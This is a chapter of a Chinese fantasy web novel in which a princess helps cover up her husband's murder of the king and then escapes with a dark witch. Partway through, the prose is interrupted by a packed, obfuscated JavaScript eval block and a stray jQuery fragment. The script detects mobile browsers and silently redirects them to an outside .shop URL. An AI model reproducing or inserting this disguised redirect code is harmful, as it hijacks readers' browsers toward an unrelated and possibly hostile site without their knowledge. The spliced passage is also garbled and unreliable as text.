文趣网 > 其他小说 > 吞下她,但消化不良 > 5. 面具裂开
    “哗啦——”

    雨比想象的还要大。

    潮湿的空气恨不能变成雾气,沉闷地撞击着奥勒利亚的胸腔。

    她双眼一眨不眨,看到了奥利弗手里的刀。

    猩红的刀尖转了一转。

    指向奥勒利亚。

    而持刀人没有说话。

    只有一双癫狂的眼睛颤动着,只差一点就要引燃,再度烧起疯狂。

    冷静。

    奥勒利亚用力掐住掌心。

    她的丈夫、她名义上的亲亲丈夫,还没正式动手。

    在他正式决定动手之前,她应该做点什么?

    或者说,她到底作出什么样的姿态,才能让他放过自己?——

    奥勒利亚飞快合眼又再度睁开。

    那一丝慌乱退下,换上了一副泫然欲泣、楚楚可怜的模样,最后凝望了一回奥利弗。

    在奥利弗表现出下一个神情之前,奥勒利亚端起空烛台,尖刺朝下,狠狠捅了下去!

    奥利弗眼中情绪几度变幻,从沾血的猩红,变成尖刀一样的警惕,最后终于只剩下纯粹的惊愕。

    原因无他,奥勒利亚手里的尖刺没有捅向他,也没有捅向自己,竟然捅向了——地上老国王的尸体?!

    奥利弗:“亲爱的,你——”

    “殿下你快走!”奥勒利亚奋力推了推对方,巧妙的撞开了那柄指向自己的刀,“不要对任何人说出真相——杀害国王的罪,恳求你一定、一定要推到我身上!”

    奥利弗的神情如奥勒利亚料想的那样,癫狂消失的一干二净,“……你说什么?”

    奥勒利亚用那双含情的黑眼眸痴痴望过去,“我不在乎殿下做了什么,我只想殿下能好好活着!

    这件事可以这么对所有人讲:

    殿下忙于国事深夜未归,我则半夜惊醒,要寻找殿下时,遇到了觊觎儿媳的国王。”

    奥勒利亚恰到好处发出一声哽咽,仿佛一脉细细的鸢尾,“……我不堪受辱,反抗时失手杀害了国王。”

    说着,她又调转烛台,作势朝自己胸口捅去,“请殿下珍重!带着我对您深深的爱,活下去!——”

    好一个舍己为爱、甘愿献出生命的痴情柔弱妻子。

    奥利弗果然上钩。

    他一把攥住企图伤害自我的烛台。

    烛台尖刺歪了方向,原本应该致命的伤,变成了她手臂上的一条划痕。

    “殿下?!”奥勒利亚泪眼朦胧。

    “……我怎么舍得你死呢?”奥利弗夺走烛台,随手丢到一边,“在你来之前,我已经想好了对策。”

    **

    竟然是很粗糙的对策。

    标榜不事生产身娇肉贵的奥利弗王储,伙同奥勒利亚,先是支开了部分守卫,脱去国王身上所有能证明身份的衣物,将尸体推去酒窖内,丢了把火。

    又在火焰彻底爆燃之前,派了一个心腹,去附近最近的监狱,偷偷释放了一批穷凶极恶的歹徒。

    到时候,歹徒四处作乱又很快被镇压,国王尸体烧焦不辨身份,重刑之下,歹徒自然会给国王的失踪找一个理由。

    奥勒利亚全程柔弱影子一样跟在奥利弗身后,只在丢弃国王尸体时,将尸体悄悄摆到了一个不容易被火烧干净的地方。

    至于能留下多少证据,只能看老国王的命了。奥勒利亚也实在是自身难保。

    忙活了一晚上,看着计划顺利进行,奥利弗最后苦撑的冷静消失,变得激动难抑,一双眼睛亮着光——是那种自觉掌控一切的亮光。

    带着些潮意的手握住了奥勒利亚的,“亲爱的,今晚的事我只会对你一个人讲——”

    奥勒利亚连忙握住了奥利弗的嘴,安抚,“无论殿下要做什么,我都站在殿下身边。”

    可奥利弗却固执的扒下来禁言令,“我要讲、我要讲!”

    奥勒利亚抿唇。

    只好再披上知心解语花的样子。

    奥利弗激动的颠三倒四,一半惊恐、一半疯癫,从这些话里,奥勒利亚拼凑出了子杀父的全部真相:

    竟然只是政见不合、大吵一架后的激情杀人。

    短视。

    愚蠢。

    一点耐心也无。

    奥勒利亚一口气堵在喉咙里。

    可只能忍住。

    转眼就到了后半夜。

    离宫殿大门开启还有三四个小时。

    奥勒利亚将人哄到床上,温声细语地劝他爱惜身体开始睡觉,足足有半个多小时,他才终于如愿以偿地沉沉睡过去。

    “殿下?”奥勒利亚轻轻一推。

    奥利弗鼾声不停。

    “……殿下?”

    还是没有醒来。

    奥勒利亚放下心,轻手轻脚,翻身下床。寝衣也顾不上换,只是忖度了一会儿,到底还是光着脚悄声去了最近的伊娃房内。

    万幸锁门的钥匙在她手上而不是什么侍女手里。

    她轻声开了门。

    提起洁白的寝衣衣角,溜入伊娃房中,反手关严门扇。

    床上的人睡眼惺忪,薄薄的衣服下是一条瘦长玲珑的身段。

    奥勒利亚快步走上床,一把捂住了伊娃的嘴。

    柔软微凉的唇在她手下蠕动,在刚要开口说出什么时,奥勒利亚抢先道:“救我!——”

    刚才只是奥利弗一时上头。

    等清醒过来时,一定不会放过她!

    她必须!用最快的速度!逃离B国!

    可用的人手太少,她不得不求助于伊娃这个黑暗女巫。

    既然伊娃想威胁她,说明肯定有所求的东西,还是自己能实现的那种。

    既然这样,那伊娃一定不会放任她尊贵的身份消失!毕竟没了B国王储王妃的身份,她还可以有A国女王的身份呢!

    **

    伊娃曾经有起床气。

    在养母林青峦的教导下,慢慢学会了先把怒火藏起来,不要对着人发。

    今晚她本来做了个很畅快的梦。

    梦里所有光明女巫阵营的,都哭着喊着想转学黑暗魔法。

    她一个个收好对方递来的信封,逐个分发同一封信:想学的,请到辛纳斯学院,报她伊娃的大名。

    记得点名要她指导。

    她虽然不是魔法教授,可马上就要是了。

    就在感恩戴德的回信收到时,伊娃的世界忽然晃动了几下。随后有什么软软的东西挡在了她唇边,还有一个声音低声说着“救我”。

    一刹那所有信封消失,伊娃暂时没分清真实和梦境,刚想叫一声,“我的信!”声音就被堵在了嘴角。

    有人把她从梦里叫醒了。

    伊娃刚想生气,一股清淡却攻击性不低的香味扑面而来。

    是清冽的甜香。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17882712|212487||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    分不清具体花型,比那天在奥勒利亚公主身上闻到的,稍显朦胧。很像花瓣闭合后的残香。

    不浓不淡,恰到好处。

    伊娃怒火奇迹般的消失,晃晃脑袋彻底清醒。

    可清醒的脑子随即捕捉到了一丝混杂在香味里的不详——是血腥味。

    伊娃转动眼珠,看到了距离她十分近的奥勒利亚。长睫有打湿的痕迹,鼻翼上渗着露珠一样的汗水。

    神色慌张,洁白寝衣上,左边衣袖沾着一长条血迹。

    这就是血腥味的来源?

    伊娃的视线迟钝地回转,停在奥勒利亚脸上。

    奥勒利亚拽了拽衣袖,“……原因我不方便讲。”

    神态幽微,伊娃在七岁之前见过很多这种类似的,且大多出现在婚后妇人身上。

    伊娃一瞬间福至心灵,“是王储奥利弗?!”

    奥勒利亚手一顿。

    伊娃紧接着说,“——他家暴你?!”

    “……嗯。”

    奥勒利亚轻轻点头。

    “这个该喂食人花的混蛋!”伊娃用力锤床。

    “拜托你送我回A国吧……”奥勒利亚垂着眼睛,凄楚道:“我现在就要走,一刻也待不了!你一定有什么魔法道具对不对?”

    对于这个请求,伊娃很是想了一想。

    首先,公主对她好像还不错;其次,公主还顶着王储的压力,救了她一命呢!

    她这几天好吃好喝,不出意外的话魔力已经恢复了一大半,现在带着人逃走B国,应该是问题不大。

    问题不大,那就出发!

    伊娃决定,奥勒利亚公主的这个小小请求,她答应了!

    “……等我带好东西——”

    伊娃干脆利落的一个翻身,从旁边抓来自己的女巫袍,兜头一套。

    三两下穿好衣服,又从侧袋摸出魔法百宝袋,在犄角旮旯里翻出来两小粒魔法蒲公英的种子。

    “张嘴。”伊娃命令。

    “……?”奥勒利亚没动。

    ——伊娃答应的太痛快,奥勒利亚自己准备好的说辞一个也没用上,现在又让她张嘴不知道要给她吃什么,她怎么可能随随便便就——

    “啊?”

    伊娃捏开了奥勒利亚的嘴。

    趁其不备往嘴里塞了粒刚才的种子。

    还没等奥勒利亚吐出来,伊娃紧随其后往自己嘴里也扔了颗,“这是我最后的魔法道具了!”

    奥勒利亚:“……”

    形式比人强。

    算了。

    见她没有再吐出去的意思,伊娃握紧对方手腕,最后叮嘱道:“抓住我!一定不要松开!”

    说着,将人一路半拖半拽,带到了窗边。一脚踢开彩色窗玻璃,丝毫停顿都没有,仰面往楼下栽去!

    ——手腕上的拉扯力不断传来。

    尽管奥勒利亚想把自己从不可避免的高空坠落中救下来,可她没有那么大的臂力。

    这里可是距离地面50英尺!(约15米)

    奥勒利亚睁大了眼。

    她白天跟人打语言机锋,晚上还要处理丈夫的杀人现场,顺便极限救自己,多重压力下好不容易撑到现在,却要被迫跟着一个黑暗女巫跳楼?!

    她维持了那么久、那么完美的假面具出现了一丝裂痕。泄露出属于她自己的鲜活气息。

    惊恐的。